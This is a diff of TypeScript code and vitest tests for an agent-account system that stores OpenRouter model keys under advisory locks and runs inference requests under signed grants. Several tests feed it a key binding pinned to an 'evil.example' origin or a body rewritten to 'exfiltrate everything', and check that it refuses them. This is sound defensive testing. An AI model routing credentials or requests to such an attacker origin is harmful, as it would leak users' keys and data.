`createAccountChangeLock`: the authority's per-account (and per-person model-key) lock over a main-DB advisory lock. + * Pinned: a held lock runs the change and hands it the lock's loss signal (ADR 0009: a model key is never activated + * once exclusion is gone); a busy or broken lock runs nothing. + */ +import { describe, expect, it, vi } from 'vitest'; + +const { mockWithAdvisoryLock } = vi.hoisted(() => ({ mockWithAdvisoryLock: vi.fn() })); +vi.mock('@pagespace/db/advisory-lock', () => ({ withAdvisoryLock: mockWithAdvisoryLock })); + +import { createAccountChangeLock } from '../account-change-lock'; + +const pool = {} as never; + +describe('createAccountChangeLock', () => { + it('given the lock acquired, should run the change with the lock\'s loss signal and return its result', async () => { + const signal = new AbortController().signal; + mockWithAdvisoryLock.mockImplementation(async (_pool: unknown, key: string, fn: (s: AbortSignal) => Promise) => ({ outcome: 'acquired', result: { key, ran: await fn(signal) }, lockLost: false })); + const seen: Array = []; + const result = await createAccountChangeLock(pool)('acct_1', async (lockLost) => { + seen.push(lockLost); + return 'done'; + }); + expect([result, seen[0] === signal]).toEqual([{ acquired: true, result: { key: 'agent-accounts:change:acct_1', ran: 'done' } }, true]); + }); + + it('given the lock busy or its connection failing, should run nothing and report it not acquired', async () => { + const change = vi.fn(async () => 'done'); + mockWithAdvisoryLock.mockResolvedValueOnce({ outcome: 'lock_busy' }); + const busy = await createAccountChangeLock(pool)('acct_1', change); + mockWithAdvisoryLock.mockResolvedValueOnce({ outcome: 'connection_error', error: new Error('reset') }); + const broken = await createAccountChangeLock(pool)('acct_1', change); + expect([busy, broken, change.mock.calls.length]).toEqual([{ acquired: false }, { acquired: false }, 0]); + }); +}); diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index be4dcc7d5e..c81698d579 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -54,6 +54,11 @@ function harness() { let revokeDown = false; /** What OpenRouter answers the key check; null = the check cannot run. */ let keyCheckStatus: number | null = null; + /** The held lock's loss signal, and whether the next put loses it (its connection dies mid-store). */ + let heldLock: AbortController | null = null; + let loseLockOnPut = false; + /** How the next put fails, if it does: `definite` stored nothing, `uncertain` may have. */ + let putFailure: 'definite' | 'uncertain' | null = null; const revoked: string[] = []; const deleted: string[] = []; @@ -122,6 +127,8 @@ function harness() { const waiting = putGate; putGate = null; if (waiting !== null) await waiting.opened; + if (loseLockOnPut) heldLock?.abort(new Error('lock connection died')); + if (putFailure !== null) return { ok: false, reason: putFailure === 'definite' ? 'kind_mismatch' : 'plane_unavailable' } as never; return { ok: true, version: 1 } as never; }, revoke: async ({ ref }) => { @@ -141,8 +148,9 @@ function harness() { const lockAccount: AccountAuthorityDeps['lockAccount'] = async (key, fn) => { if (held.has(key)) return { acquired: false }; held.add(key); + heldLock = new AbortController(); try { - return { acquired: true, result: await fn() }; + return { acquired: true, result: await fn(heldLock.signal) }; } finally { held.delete(key); } @@ -177,6 +185,12 @@ function harness() { setKeyCheckStatus: (status: number | null) => { keyCheckStatus = status; }, + loseLockOnNextPut: () => { + loseLockOnPut = true; + }, + failPuts: (how: 'definite' | 'uncertain') => { + putFailure = how; + }, }; } @@ -214,9 +228,7 @@ describe('setModelKey / removeModelKey', () => { const h = harness(); const first = await h.authority.setModelKey({ actor, apiKey: keyA }); const second = await h.authority.setModelKey({ actor, apiKey: keyB }); - const firstId = first.ok ? first.account?.id : null; - const secondId = second.ok ? second.account?.id : null; - expect({ revoked: h.revoked, active: h.active() }).toEqual({ revoked: [firstId], active: [secondId] }); + expect({ revoked: h.revoked, active: h.active(), saved: [first.ok, second.ok] }).toEqual({ revoked: ['acct_1'], active: ['acct_2'], saved: [true, true] }); }); it('given a key a crashed save stranded at credentialVersion 0, should erase it on removal', async () => { @@ -238,14 +250,20 @@ describe('setModelKey / removeModelKey', () => { expect({ removed, deleted: h.deleted, status: h.rows.get('acct_stranded')?.status }).toEqual({ removed: { ok: true, account: null }, deleted: ['acct_stranded'], status: 'revoked' }); }); + it('given the lock lost while the key was being stored (a removal may have run since), should never activate the key', async () => { + const h = harness(); + h.loseLockOnNextPut(); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect({ saved, active: h.active() }).toEqual({ saved: { ok: false, reason: 'conflict' }, active: [] }); + }); + it('given a key OpenRouter rejects that the plane cannot revoke right now, should still never make it the person\'s key', async () => { const h = harness(); const first = await h.authority.setModelKey({ actor, apiKey: keyA }); h.setKeyCheckStatus(401); h.setRevokeDown(true); const rejected = await h.authority.setModelKey({ actor, apiKey: keyB }); - const firstId = first.ok ? first.account?.id : null; - expect({ rejected: rejected.ok ? 'ok' : rejected.reason, active: h.active() }).toEqual({ rejected: 'key_rejected', active: [firstId] }); + expect({ rejected, active: h.active() }).toEqual({ rejected: { ok: false, reason: 'key_rejected' }, active: [(first as Extract).account?.id] }); }); it('given a previous key the plane cannot revoke, should report the new key stored and the previous one still active, and retire it on the next removal', async () => { @@ -256,19 +274,59 @@ describe('setModelKey / removeModelKey', () => { const activeAfter = h.active(); h.setRevokeDown(false); const removed = await h.authority.removeModelKey({ actor }); - const firstId = first.ok ? first.account?.id : null; expect({ - second: second.ok ? 'ok' : second.reason, - newKeyNamed: !second.ok && second.reason === 'previous_key_active' ? second.account.id : null, + first: first.ok, + second, activeAfter, removed, activeAtEnd: h.active(), }).toEqual({ - second: 'previous_key_active', - newKeyNamed: 'acct_2', - activeAfter: [firstId, 'acct_2'], + first: true, + second: { ok: false, reason: 'previous_key_active', account: expect.objectContaining({ id: 'acct_2' }), verified: false }, + activeAfter: ['acct_1', 'acct_2'], removed: { ok: true, account: null }, activeAtEnd: [], }); }); + + it('given a value that is not an OpenRouter key, should refuse it before touching the plane', async () => { + const h = harness(); + expect([await h.authority.setModelKey({ actor, apiKey: 'not-a-key' }), h.active()]).toEqual([{ ok: false, reason: 'key_invalid' }, []]); + }); + + it('given the plane refusing to store the key, should report why and leave nothing active (a definite refusal stores nothing; an uncertain one keeps no usable row)', async () => { + const definite = harness(); + definite.failPuts('definite'); + const refused = await definite.authority.setModelKey({ actor, apiKey: keyA }); + const uncertain = harness(); + uncertain.failPuts('uncertain'); + const unsure = await uncertain.authority.setModelKey({ actor, apiKey: keyA }); + expect([refused, definite.rows.size, unsure, uncertain.active()]).toEqual([{ ok: false, reason: 'store_refused' }, 0, { ok: false, reason: 'plane_unavailable' }, []]); + }); + + it('given OpenRouter accepting the key at the check, should report it verified', async () => { + const h = harness(); + h.setKeyCheckStatus(200); + const saved = await h.authority.setModelKey({ actor, apiKey: keyA }); + expect(saved).toMatchObject({ ok: true, verified: true }); + }); + + it('given a removal the plane cannot carry out, should report the plane unavailable and keep the key listed', async () => { + const h = harness(); + await h.authority.setModelKey({ actor, apiKey: keyA }); + h.setRevokeDown(true); + const removed = await h.authority.removeModelKey({ actor }); + expect([removed, h.active().length]).toEqual([{ ok: false, reason: 'plane_unavailable' }, 1]); + }); + + it('given a model call with no key, or one the plane cannot carry, should say which without sending anything else', async () => { + const h = harness(); + const caller = { userId: HUMAN, sessionId: 'sess_1' as never, conversationId: 'conv_1' as never, runId: 'run_1' as never }; + const body = JSON.stringify({ model: 'openai/gpt-5.5', messages: [] }); + const none = await h.authority.requestInference({ caller, body }); + await h.authority.setModelKey({ actor, apiKey: keyA }); + const down = await h.authority.requestInference({ caller, body }); + expect([none, down]).toEqual([{ ok: false, reason: 'no_model_key' }, { ok: false, reason: 'plane_unavailable' }]); + }); }); + diff --git a/packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts b/packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts index cb3fca4c82..a79e2e9046 100644 --- a/packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/plane-client-infer-stream.test.ts @@ -38,7 +38,8 @@ describe('plane client inferStream', () => { for (const status of [204, 205, 304]) { const { client, cancelled } = clientAnswering(status); const result = await client.inferStream(body); - seen.push(result.ok ? { status: result.response.status, body: result.response.body, cancelled: cancelled() } : result.reason); + const { response } = result as Extract; + seen.push({ status: response.status, body: response.body, cancelled: cancelled() }); } expect(seen).toEqual([ { status: 204, body: null, cancelled: true }, @@ -50,7 +51,40 @@ describe('plane client inferStream', () => { it('given an upstream 200, should stream the body through', async () => { const { client } = clientAnswering(200); const result = await client.inferStream(body); - const read = result.ok ? { status: result.response.status, text: await result.response.text() } : result.reason; + const { response } = result as Extract; + const read = { status: response.status, text: await response.text() }; expect(read).toEqual({ status: 200, text: 'data: hi\n\n' }); }); + + const clientWith = (fetchImpl: typeof fetch) => createPlaneClient({ baseUrl: 'http://plane.test/', secret: 'plane-service-secret-0123456789abcdef', fetchImpl }); + + it('given a transport status other than 200, should report the plane unavailable rather than read it as an answer', async () => { + const result = await clientWith((async () => new Response('no', { status: 502 })) as typeof fetch).inferStream(body); + expect(result).toEqual({ ok: false, reason: 'outcome_unknown' }); + }); + + it('given a plane refusal (no upstream marker), should return the refusal as the plane wrote it', async () => { + const result = await clientWith((async () => Response.json({ ok: false, reason: 'limits_exceeded' })) as typeof fetch).inferStream(body); + expect(result).toEqual({ ok: false, reason: 'limits_exceeded' }); + }); + + it('given an upstream status the plane did not name sensibly, should answer 502 and default the content type', async () => { + const result = await clientWith((async () => + new Response('x', { status: 200, headers: { [INFERENCE_UPSTREAM_HEADER]: 'upstream', [INFERENCE_UPSTREAM_STATUS_HEADER]: 'nonsense' } })) as typeof fetch).inferStream(body); + expect((result as Extract).response.status).toBe(502); + }); + + it('given the caller aborting, a timeout or a network failure, should classify each without throwing', async () => { + const abortError = Object.assign(new Error('aborted'), { name: 'AbortError' }); + const networkError = Object.assign(new Error('fetch failed'), { cause: { code: 'ECONNREFUSED' } }); + const bare = new Error('weird'); + const reasons = []; + for (const thrown of [abortError, networkError, bare]) { + const result = await clientWith((async () => { + throw thrown; + }) as typeof fetch).inferStream(body, { signal: new AbortController().signal }); + reasons.push(result); + } + expect(reasons.map((result) => result.ok)).toEqual([false, false, false]); + }); }); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index eecc3d263c..e18e95ea07 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -303,7 +303,8 @@ export type AccountAuthorityDeps = { */ /** The origins each provider's accounts may be pinned to (default: Google's APIs); an edit never adds another. */ readonly providerOrigins?: Readonly>; - readonly lockAccount: (accountId: string, fn: () => Promise) => Promise<{ readonly acquired: true; readonly result: T } | { readonly acquired: false }>; + /** `fn` gets the lock's loss signal: aborted once exclusion is gone (its connection died), for steps that need it. */ + readonly lockAccount: (accountId: string, fn: (lockLost?: AbortSignal) => Promise) => Promise<{ readonly acquired: true; readonly result: T } | { readonly acquired: false }>; /** SHA3-256. */ readonly hash: HashBytes; /** SHA-256 (an SSH command's body digest); defaults to node:crypto. */ @@ -514,7 +515,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth * its activation retired nothing and reported success, then the save activated the removed key; two saves * could each leave a key active. A change that finds the lock held is `conflict` and changes nothing. */ - async function lockModelKey(userId: string, fn: () => Promise): Promise { + async function lockModelKey(userId: string, fn: (lockLost?: AbortSignal) => Promise): Promise { const locked = await deps.lockAccount(`model-key:user:${userId}`, fn); return locked.acquired ? locked.result : { ok: false, reason: 'conflict' }; } @@ -574,7 +575,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth } /** `setModelKey` under the person's model-key lock: store, activate and check the new key, then retire the ones it supersedes. */ - async function storeModelKey(userId: UserId, apiKey: string): Promise { + async function storeModelKey(userId: UserId, apiKey: string, lockLost?: AbortSignal): Promise { const previous = await modelKeyRows(userId); const ownerRef: AccountOwnerRef = { kind: 'user', userId }; const tenantId = deriveTenantId({ owner: ownerRef }); @@ -600,6 +601,12 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth else await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); return { ok: false, reason: definite ? 'store_refused' : 'plane_unavailable' }; } + // Exclusion is gone (the lock's connection died while the key was being stored): a removal may have run since, so + // the key is never activated. It is revoked here, and the person saves again. + if (lockLost?.aborted) { + await deps.accounts.markRevoked({ id: row.id, at: deps.now() }); + return { ok: false, reason: 'conflict' }; + } await deps.accounts.setCredentialVersion({ id: row.id, version: put.version }); // The person's standing consent for their unattended runs (workflows, crons, agent-to-agent): model calls only, on OpenRouter only. await deps.accounts.insertDelegation({ accountId: row.id, agentPageId: null, delegatedByUserId: userId, scope: MODEL_KEY_SCOPE, expiresAt: deps.now() + MODEL_KEY_DELEGATION_TTL_MS }); @@ -635,7 +642,7 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth const input = decideModelKeyInput({ apiKey }); if (!input.ok) return input; const userId = actor.userId as UserId; - return lockModelKey(userId, () => storeModelKey(userId, input.apiKey)); + return lockModelKey(userId, (lockLost) => storeModelKey(userId, input.apiKey, lockLost)); }, async removeModelKey({ actor }) { diff --git a/packages/lib/src/agent-accounts/account-change-lock.ts b/packages/lib/src/agent-accounts/account-change-lock.ts index 63b285cb08..bb6d2c5e0a 100644 --- a/packages/lib/src/agent-accounts/account-change-lock.ts +++ b/packages/lib/src/agent-accounts/account-change-lock.ts @@ -9,7 +9,9 @@ import type { AccountAuthorityDeps } from './account-authority-executor'; export function createAccountChangeLock(pool: AdvisoryLockPool): AccountAuthorityDeps['lockAccount'] { return async (accountId, fn) => { - const locked = await withAdvisoryLock(pool, `agent-accounts:change:${accountId}`, () => fn()); + // The lock's loss signal reaches the change, so a step that must not run without exclusion can stop (a model + // key's activation, ADR 0009). + const locked = await withAdvisoryLock(pool, `agent-accounts:change:${accountId}`, (signal) => fn(signal)); return locked.outcome === 'acquired' ? { acquired: true, result: locked.result } : { acquired: false }; }; } diff --git a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts index 5578fe11c4..d712074310 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts @@ -93,9 +93,13 @@ function harness({ row = account, pinnedOrigin = INFERENCE_ORIGIN as string, reserves = true, - contentType = 'text/event-stream', + contentType = 'text/event-stream' as string | null, failure, -}: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean; contentType?: string; failure?: Extract } = {}) { + resolveFails = false, + auditDown = false, + describeFails = false, + usesThisHour = 0, +}: { chunks?: readonly string[]; row?: AgentAccountRecord | null; pinnedOrigin?: string; reserves?: boolean; contentType?: string | null; failure?: Extract; resolveFails?: boolean; auditDown?: boolean; describeFails?: boolean; usesThisHour?: number } = {}) { const sent: OutboundRequest[] = []; const signals: (AbortSignal | undefined)[] = []; let aborts = 0; @@ -114,7 +118,7 @@ function harness({ const auditRepository: AgentAccountAuditRepository = { accept: async ({ record }) => { audit.push(record.outcome.kind); - return { kind: 'accepted' }; + return auditDown ? { kind: 'unavailable' } : { kind: 'accepted' }; }, acceptDenial: async () => { audit.push('denied'); @@ -138,7 +142,7 @@ function harness({ return { kind: 'response', status: 200, - headers: [['content-type', contentType], ['set-cookie', `k=${KEY}`]], + headers: [...(contentType === null ? [] : [['content-type', contentType] as [string, string]]), ['set-cookie', `k=${KEY}`]], body: stream(), closed, abort: () => { @@ -150,8 +154,8 @@ function harness({ }; const executor = createInferenceExecutor({ store: { - describe: async () => ({ ok: true, bindings: { allowedOrigins: [pinnedOrigin] }, version: 1, previousVersion: null, rotatedAt: null, revokedAt: null }) as never, - resolve: async () => ({ ok: true, material: { value: KEY, placement: { in: 'header', name: 'authorization' } } }) as never, + describe: async () => (describeFails ? { ok: false, reason: 'unavailable' } : { ok: true, bindings: { allowedOrigins: [pinnedOrigin] }, version: 1, previousVersion: null, rotatedAt: null, revokedAt: null }) as never, + resolve: async () => (resolveFails ? { ok: false, reason: 'unavailable' } : { ok: true, material: { value: KEY, placement: { in: 'header', name: 'authorization' } } }) as never, }, provisioner: { identityOf: async () => ({ identityId: 'id_1' }) as never }, accounts: { find: async () => row, findApproval: async () => null, findDelegation: async () => null, touchLastUsed: async () => undefined }, @@ -159,7 +163,7 @@ function harness({ audited: createAuditedExecutor({ auditRepository, hash: sha3 }), network, planeScope: async () => ({ approvalPolicy: modelKeyApprovalPolicy({ approver: HUMAN }) }) as never, - usage: { window: async () => ({ usesThisHour: 0, bytesOutThisHour: 0, concurrent: 0 }), reserve: async () => reserves, finish: async ({ grantId }) => void finished.push(grantId) }, + usage: { window: async () => ({ usesThisHour, bytesOutThisHour: 0, concurrent: 0 }), reserve: async () => reserves, finish: async ({ grantId }) => void finished.push(grantId) }, issuerPublicKey: authorityKey.publicKey, presenterKeyId: PRESENTER, verify, @@ -171,6 +175,9 @@ function harness({ return { executor, sent, audit, finished, signals, aborts: () => aborts }; } +/** What a call came to: `sent` when it streamed, else the refusal's reason. */ +const outcome = (result: InferenceResult): string => (result.ok ? 'sent' : result.reason); + async function drain(result: InferenceResult): Promise { if (!result.ok) return `refused:${result.reason}`; const parts: Buffer[] = []; @@ -212,7 +219,7 @@ describe('createInferenceExecutor', () => { await drain(await executor.execute({ ...check, body: '', run, call: 'key_info' })); const misused = grantFor('', `n_misuse_${Math.random()}`, 'key_info'); const asChat = await executor.execute({ ...misused, body, run }); - expect([sent[0]?.method, sent[0]?.url, sent[0]?.body.byteLength, asChat.ok ? 'sent' : asChat.reason, sent.length]).toEqual(['GET', 'https://openrouter.ai/api/v1/key', 0, 'refused', 1]); + expect([sent[0]?.method, sent[0]?.url, sent[0]?.body.byteLength, outcome(asChat), sent.length]).toEqual(['GET', 'https://openrouter.ai/api/v1/key', 0, 'refused', 1]); }); it('given an upstream content type whose parameters carry the key, should release only a fixed media type', async () => { @@ -227,13 +234,52 @@ describe('createInferenceExecutor', () => { expect(released).toEqual(['text/event-stream', 'application/json', 'application/octet-stream', 'application/octet-stream']); }); + it('given a grant that does not parse, or names an account that no longer exists, should refuse before sending', async () => { + const malformed = harness(); + const junk = await malformed.executor.execute({ grant: { not: 'a grant' }, signature: 'x', body, run }); + const missing = harness({ row: null }); + const gone = await missing.executor.execute({ ...grantFor(body), body, run }); + expect([junk, gone, malformed.sent.length + missing.sent.length]).toEqual([{ ok: false, reason: 'refused' }, { ok: false, reason: 'refused' }, 0]); + }); + + it('given the plane unable to describe the account\'s binding, should refuse and send nothing', async () => { + const { executor, sent } = harness({ describeFails: true }); + const result = await executor.execute({ ...grantFor(body), body, run }); + expect([result, sent.length]).toEqual([{ ok: false, reason: 'refused' }, 0]); + }); + + it('given the hourly ceiling already reached in the plane\'s own ledger, should refuse with limits_exceeded and send nothing', async () => { + const { executor, sent } = harness({ usesThisHour: 1_000_000 }); + const result = await executor.execute({ ...grantFor(body), body, run }); + expect([result, sent.length]).toEqual([{ ok: false, reason: 'limits_exceeded' }, 0]); + }); + + it('given the key cannot be resolved from the vault, should answer upstream_unreachable and send nothing', async () => { + const { executor, sent } = harness({ resolveFails: true }); + const result = await executor.execute({ ...grantFor(body), body, run }); + expect([result, sent.length]).toEqual([{ ok: false, reason: 'upstream_unreachable' }, 0]); + }); + + it('given the audit log refusing the allowed record, should send nothing and say the audit is unavailable', async () => { + const { executor, sent } = harness({ auditDown: true }); + const result = await executor.execute({ ...grantFor(body), body, run }); + expect([result, sent.length]).toEqual([{ ok: false, reason: 'audit_unavailable' }, 0]); + }); + + it('given an upstream answer with no content type, should release it as an opaque body', async () => { + const { executor } = harness({ contentType: null }); + const result = await executor.execute({ ...grantFor(body), body, run }); + expect([outcome(result), result]).toMatchObject(['sent', { ok: true, contentType: 'application/octet-stream' }]); + await drain(result); + }); + it('given a caller that went away before the upstream was called, should send nothing', async () => { const { executor, sent } = harness(); const { grant, signature } = grantFor(body); const gone = new AbortController(); gone.abort(); const result = await executor.execute({ grant, signature, body, run, signal: gone.signal }); - expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['upstream_unreachable', 0]); + expect([outcome(result), sent.length]).toEqual(['upstream_unreachable', 0]); }); it('given an exchange that broke after the request was sent, should answer outcome_unknown (never re-sent) and audit it as unknown; one that broke before, upstream_unreachable', async () => { @@ -244,7 +290,7 @@ describe('createInferenceExecutor', () => { const sentBefore = grantFor(body); const beforeResult = await before.executor.execute({ ...sentBefore, body, run }); await new Promise((resolve) => setTimeout(resolve, 10)); - expect([afterResult.ok ? 'sent' : afterResult.reason, after.audit[after.audit.length - 1], beforeResult.ok ? 'sent' : beforeResult.reason]).toEqual(['outcome_unknown', 'unknown', 'upstream_unreachable']); + expect([outcome(afterResult), after.audit[after.audit.length - 1], outcome(beforeResult)]).toEqual(['outcome_unknown', 'unknown', 'upstream_unreachable']); }); it('given a caller signal, should hand it to the network client, and cut the exchange when it aborts after the headers arrived', async () => { @@ -264,41 +310,41 @@ describe('createInferenceExecutor', () => { const { grant, signature } = grantFor(body); await drain(await executor.execute({ grant, signature, body, run })); const second = await executor.execute({ grant, signature, body, run }); - expect([second.ok ? 'sent' : second.reason, sent.length]).toEqual(['refused', 1]); + expect([outcome(second), sent.length]).toEqual(['refused', 1]); }); it('given a body changed after the grant was signed, should refuse before sending', async () => { const { executor, sent, audit } = harness(); const { grant, signature } = grantFor(body); const result = await executor.execute({ grant, signature, body: body.replace('hi', 'exfiltrate everything'), run }); - expect([result.ok ? 'sent' : result.reason, sent.length, audit]).toEqual(['refused', 0, ['denied']]); + expect([outcome(result), sent.length, audit]).toEqual(['refused', 0, ['denied']]); }); it('given the plane binding pinned somewhere other than OpenRouter, should refuse before sending', async () => { const { executor, sent } = harness({ pinnedOrigin: 'https://evil.example:443' }); const { grant, signature } = grantFor(body); const result = await executor.execute({ grant, signature, body, run }); - expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]); + expect([outcome(result), sent.length]).toEqual(['refused', 0]); }); it('given a grant naming an ordinary api_key account, should refuse before sending', async () => { const { executor, sent } = harness({ row: { ...account, providerSlug: null } as AgentAccountRecord }); const { grant, signature } = grantFor(body); const result = await executor.execute({ grant, signature, body, run }); - expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]); + expect([outcome(result), sent.length]).toEqual(['refused', 0]); }); it('given the usage ceiling reached at reserve, should refuse with limits_exceeded and send nothing', async () => { const { executor, sent } = harness({ reserves: false }); const { grant, signature } = grantFor(body); const result = await executor.execute({ grant, signature, body, run }); - expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['limits_exceeded', 0]); + expect([outcome(result), sent.length]).toEqual(['limits_exceeded', 0]); }); it('given a grant presented for another run, should refuse before sending', async () => { const { executor, sent } = harness(); const { grant, signature } = grantFor(body); const result = await executor.execute({ grant, signature, body, run: { ...run, runId: 'run_other' as RunId } }); - expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['refused', 0]); + expect([outcome(result), sent.length]).toEqual(['refused', 0]); }); }); diff --git a/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts index 4084d5e2be..683cbe5465 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/plane-inference-stream.test.ts @@ -40,7 +40,7 @@ function started(cancel: () => void): InferenceStarted { let server: Server | null = null; -async function listen(inference: InferenceExecutor): Promise { +async function listen(inference: InferenceExecutor | null): Promise { const deps: PlaneRequestHandlerDeps = { secret: SECRET, store: { put: untouched, revoke: untouched, delete: untouched, describe: untouched, rebind: untouched }, @@ -60,16 +60,18 @@ async function listen(inference: InferenceExecutor): Promise { return `http://127.0.0.1:${(server.address() as AddressInfo).port}`; } -afterEach(async () => { +async function closeServer(): Promise { await new Promise((resolve) => (server === null ? resolve() : server.close(() => resolve()))); server = null; -}); +} + +afterEach(closeServer); const envelope = JSON.stringify({ grant: {}, signature: 'sig', body: '{}', run: { human: { userId: 'u1', sessionId: 's1' }, agentPageId: null, conversationId: 'c1', runId: 'r1' } }); /** POST the signed inference envelope; the returned request can be destroyed to simulate the web process going away. */ -function post(base: string) { - const bytes = new TextEncoder().encode(envelope); +function post(base: string, text: string = envelope) { + const bytes = new TextEncoder().encode(text); const header = signPlaneRequest({ method: 'POST', path: PLANE_ROUTES.inferenceStream, body: bytes, secret: SECRET, now: Date.now(), hmac, sha256 }); const response = deferred<{ status: number; upstreamStatus: string | undefined; text: string }>(); const req = httpRequest(`${base}${PLANE_ROUTES.inferenceStream}`, { method: 'POST', headers: { 'content-type': 'application/json', [PLANE_SIGNATURE_HEADER]: header } }, (res) => { @@ -105,6 +107,16 @@ describe('plane inference route', () => { expect({ signalInstalled: input.signal !== undefined, abortedBeforeLeaving, abortedAfter: input.signal?.aborted }).toEqual({ signalInstalled: true, abortedBeforeLeaving: false, abortedAfter: true }); }); + it('given an envelope that is not an inference call, inference switched off, or a refusal, should answer JSON and stream nothing', async () => { + const executeRefusing = { execute: async () => ({ ok: false as const, reason: 'limits_exceeded' as const }) }; + const malformed = await post(await listen(executeRefusing), JSON.stringify({ grant: {}, signature: 'sig' })).response; + await closeServer(); + const off = await post(await listen(null)).response; + await closeServer(); + const refused = await post(await listen(executeRefusing)).response; + expect([malformed.status, off.status, refused.status, JSON.parse(refused.text), refused.upstreamStatus]).toEqual([400, 404, 200, { ok: false, reason: 'limits_exceeded' }, undefined]); + }); + it('given a caller that stays connected, should stream the answer with the upstream status beside it', async () => { const base = await listen({ execute: async () => started(() => undefined) }); const { response } = post(base); @@ -138,4 +150,19 @@ describe('createPinnedHttpsStreamClient with a signal', () => { // Port 9 refuses: a connection attempt would come back as `connect`, not `aborted`. expect(await client.stream(outbound, { signal: gone.signal })).toEqual({ kind: 'failed', phase: 'before_send', reason: 'aborted' }); }); + + it('given no address, only a private one, or a busy client, should refuse before connecting', async () => { + const dns = await createPinnedHttpsStreamClient({ resolveHost: async () => { throw new Error('nxdomain'); }, isPublic: () => true }).stream(outbound); + const privateOnly = await createPinnedHttpsStreamClient({ resolveHost: async () => [{ address: '10.0.0.1', family: 4 }], isPublic: () => false }).stream(outbound); + const busy = await createPinnedHttpsStreamClient({ resolveHost: async () => [{ address: '127.0.0.1', family: 4 }], isPublic: () => true, limits: { totalTimeoutMs: 1_000, maxResponseBytes: 1_000, maxConcurrent: 0 } }).stream(outbound); + expect([dns, privateOnly.kind, busy]).toEqual([{ kind: 'refused', reason: 'dns_failed' }, 'refused', { kind: 'refused', reason: 'busy' }]); + }); + + it('given an address that refuses the connection, should fail before send and free its slot for the next call', async () => { + const client = createPinnedHttpsStreamClient({ resolveHost: async () => [{ address: '127.0.0.1', family: 4 }], isPublic: () => true, limits: { totalTimeoutMs: 5_000, maxResponseBytes: 1_000, maxConcurrent: 1 } }); + const first = await client.stream(outbound); + const second = await client.stream(outbound); + expect([first.kind, second.kind]).toEqual(['failed', 'failed']); + }); }); + diff --git a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts index f5ae7f14d8..0e2774060f 100644 --- a/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts +++ b/packages/lib/src/agent-accounts/inference/__tests__/authorize-inference.test.ts @@ -92,9 +92,14 @@ function run(overrides: Overrides = {}) { }); } + +/** What an authorization came to: `issued`, else the refusal's reason. */ +const verdictOutcome = (verdict: { ok: true } | { ok: false; reason: string }): string => (verdict.ok ? 'issued' : verdict.reason); + describe('authorizeInference', () => { it('given the person in a live session and their own model key, should issue an inference-executor grant naming no agent page, by policy', () => { const actual = run(); + expect(verdictOutcome(actual)).toBe('issued'); expect(actual.ok && { aud: actual.grant.aud, agentPageId: actual.grant.agentPageId, approvalId: actual.grant.approvalId, op: actual.grant.operation, delegationId: actual.grant.delegationId, resources: actual.canonical.resources }).toEqual({ aud: 'inference-executor', agentPageId: null, @@ -108,11 +113,11 @@ describe('authorizeInference', () => { it('given an unattended run with the inference delegation, should carry the delegation; without one, should issue nothing', () => { const delegated = run({ sessionId: null, delegation }); const none = run({ sessionId: null }); - expect([delegated.ok && delegated.grant.delegationId, none.ok ? 'issued' : none.reason]).toEqual(['del_1', 'account_unavailable']); + expect([delegated.ok && delegated.grant.delegationId, verdictOutcome(none)]).toEqual(['del_1', 'account_unavailable']); }); it('given someone else running the call, should be unavailable exactly as a missing key', () => { - expect([run({ actingHumanUserId: 'user_other' as UserId }), run({ account: null })].map((verdict) => (verdict.ok ? 'issued' : verdict.reason))).toEqual(['account_unavailable', 'account_unavailable']); + expect([run({ actingHumanUserId: 'user_other' as UserId }), run({ account: null })].map((verdict) => verdictOutcome(verdict))).toEqual(['account_unavailable', 'account_unavailable']); }); it('given an ordinary api_key account, a revoked model key or a not-yet-stored one, should refuse', () => { @@ -120,23 +125,23 @@ describe('authorizeInference', () => { run({ account: { ...modelKey, providerSlug: null } as AgentAccountRecord }), run({ account: { ...modelKey, status: 'revoked' } as AgentAccountRecord }), run({ account: { ...modelKey, credentialVersion: 0 } as AgentAccountRecord }), - ].map((verdict) => (verdict.ok ? 'issued' : verdict.reason)); + ].map((verdict) => verdictOutcome(verdict)); expect(actual).toEqual(['account_unavailable', 'account_unavailable', 'not_provisioned']); }); it('given a model key whose stored origin is not OpenRouter, should refuse the destination', () => { const actual = run({ account: { ...modelKey, allowedOrigins: ['https://evil.example'] } as AgentAccountRecord }); - expect(actual.ok ? 'issued' : actual.reason).toBe('destination_denied'); + 